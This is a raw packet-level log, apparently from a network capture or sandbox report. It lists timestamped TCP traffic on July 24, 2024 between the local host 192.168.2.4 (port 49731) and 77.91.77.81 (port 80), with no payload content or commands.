Jul 24, 2024 02:39:13.745748997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745788097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.745798111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745831013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745881081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745881081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.745915890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745950937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.745963097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.745986938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746018887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746052980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746073961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746083975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746088982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746117115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746150017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746162891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746184111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746216059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746248007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746270895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746279001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746284962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746311903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746345043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746367931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746376991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746408939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746434927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746440887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746474028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746505022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746537924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746539116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746539116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746570110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746579885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746608019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746640921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746665001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746674061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746680021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746709108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746741056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746741056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746741056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746777058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746807098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746831894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746839046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746870041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746897936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746901989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746934891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746967077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746998072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.746998072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.746998072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747030973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747064114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747096062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747118950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747128010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747129917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747162104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747168064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747194052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747226000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747226954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747260094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747292995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747313976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747323990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747355938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747360945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747395992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.747426987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.747576952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.769448042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769516945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769553900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769578934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.769587994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769622087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769638062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.769655943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769694090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.769697905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.769762993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.769762993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.770821095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.770873070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.770905018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.770920992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.770977020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771008968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771043062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771075010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771075010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771076918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771231890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771264076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771291018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771297932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771330118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771363020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771388054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771388054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771394014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771425962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771455050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771455050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771465063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771502018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771514893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771548033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771579981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771603107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771603107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771611929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771645069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771698952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771725893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771758080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771786928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771791935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771841049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771847010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771872997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771897078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771903992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771936893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771970034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.771977901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.771977901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772001982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772030115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772061110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772078037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772078037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772078037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772094011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772125959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772159100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772177935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772191048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772212982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772222996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772253990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772288084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772319078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772319078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772320032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772353888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772407055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772619009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772669077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772699118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772705078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772735119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772737980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772769928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772778034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772803068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772814035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772835970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772857904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772869110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772902012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772907972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772936106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.772953987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.772968054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.773000002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.773065090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.835347891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835397005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835441113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835493088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835530996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835563898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835597038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835628033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835661888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835694075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835733891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835764885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835797071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835828066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835869074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835901022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835932970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835967064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.835999012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836005926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836030960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836035967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836066008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836066008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836096048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836105108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836126089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836128950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836162090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836163044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836194992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836196899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836229086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836260080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836292982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836325884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836361885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836414099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836446047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836477995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836534977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836553097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836570024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836595058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836604118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836636066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836637974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836668968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836669922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836702108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836735010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836736917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836766958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836770058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836803913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836827040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836827040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836836100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836869001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836895943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836899996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836930037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836931944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836940050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.836963892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.836997032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837025881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837028980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837061882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837083101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837115049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837145090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837146997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837177038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837193012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837212086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837244987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837244987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837276936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837308884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.837311029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837347984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.837378025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.838386059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.860651970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860719919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860754013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860785961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860836029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860868931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860902071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860902071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.860932112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.860933065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860963106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.860966921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.860975981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861001015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861006021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861033916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861042976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861067057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861078024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861099958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861108065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861141920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861150026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861182928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861212015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861223936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861244917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861253023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861287117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861294985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861331940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861332893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861363888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861376047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861393929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861427069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861459970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861490965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861530066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861561060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861593962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861625910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861659050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861690044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861715078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861723900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861757040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861759901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861788034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861789942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861798048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861825943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861831903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861860991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861866951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861892939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861903906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861927032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861938000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861958981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.861970901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.861993074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862003088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862024069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862035036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862057924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862088919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862121105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862124920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862154007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862158060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862178087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862188101 CEST	80	49731	77.91.77.81	192.168.2.4
